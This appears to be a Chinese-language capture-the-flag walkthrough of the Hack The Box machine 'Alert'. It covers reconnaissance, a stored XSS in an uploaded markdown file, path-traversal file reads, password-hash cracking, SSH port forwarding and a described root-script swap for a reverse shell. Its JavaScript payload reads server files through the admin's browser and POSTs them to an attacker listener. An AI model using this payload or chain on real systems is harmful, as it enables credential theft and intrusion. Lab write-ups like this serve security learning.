Alert

nmap扫描

1
2
3

nmap -sC -sV -T4 -Pn 10.10.11.44

发现域名alert.htb将其加入到hosts文件里

子域名扫描

1
2
3
4
5

ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -u http://alert.htb/ -H "Host:FUZZ.alert.htb" -fc 301



扫描到一个子域名同样也加入到hosts里面。

xss

下面打开主页面

可以看到有一个上传md的页面我们可以联想到xss

可以看到已经触发了xss。

同时在上传页面中有一个分享上传的链接的按钮猜测是可以发送

这里有一个发送页面抓包查看一下

在这里改成我们自己监听的ip端口可以接收到请求

所以可以推测我们发送的链接后台会点机该链接

漏洞利用

思路:首先,上传带有恶意js代码的md文件,向管理员发送该md文件的链接,诱导管理员访问该md页面,当管理员访问了上传的md文件时,md夹带的恶意js代码工作,从管理员的客户端发起对http://alert.htb的请求,并将请求获得的响应内容发送至我们的攻击机。

不同与其他xss窃取cookie的思路,这里是为了看到一些只有管理员权限才能看见的㊙️🍯东西。

编写并上传恶意md文件

这段代码的意思可以自行查看gpt的解释就是客户端会请求alert.htb这个域名然后将返回的text发送到我们监听的1234端口上

可以看到多了一个messages参数

在深入利用一下只需要将index.php?page=messages加到url参数后面在发送一遍触发一遍xss就可以得到回显

这里在重复上一步操作可以得到回显读取到内容

所以这里我们是能够想到他是有文件包含读取功能的,这里我就不记录踩坑的过程了,读常规的/etc/passwd是读不到的,这里需要了解下htpasswd文件

参考这篇文章https://blog.csdn.net/cunjiu9486/article/details/109071899

apache2网页认证的密码一般存在.htapasswd中。所以接下来就是去构造读取这个文件获取账户密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#####asasdfasdf

<script>

fetch("http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-available/000-default.conf")

.then(response => response.text())

.then(data => fetch("http://10.10.16.32:1234", {

method: "POST",

body: data

}));

</script>

已经传上去解析到了。下面就是发送xss触发一下了

触发成功,发现了htpasswd的存放路径/var/www/statistics.alert.htb/.htpasswd,所以继续重复上一个步骤继续重放

读到了一个加密的密码

使用jhon爆破下

1
2
3

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long alert.hash

hashcat

1
2
3

hashcat -m 1600 -a 0 passwd ~/Documents/rockyou.txt --username --show

还需要show一下

1
2
3

john --show alert.hash

然后ssh连接即可

提权

发现有一个8080端口开着,这样的话就将该端口转发一下

1
2
3

ssh -L 8080:127.0.0.1:8080 albert@alert.htb

去找一下这个website monitor文件夹

在opt目录下有一个root权限的文件替换一下改成反弹shell的脚本就可以反弹回来了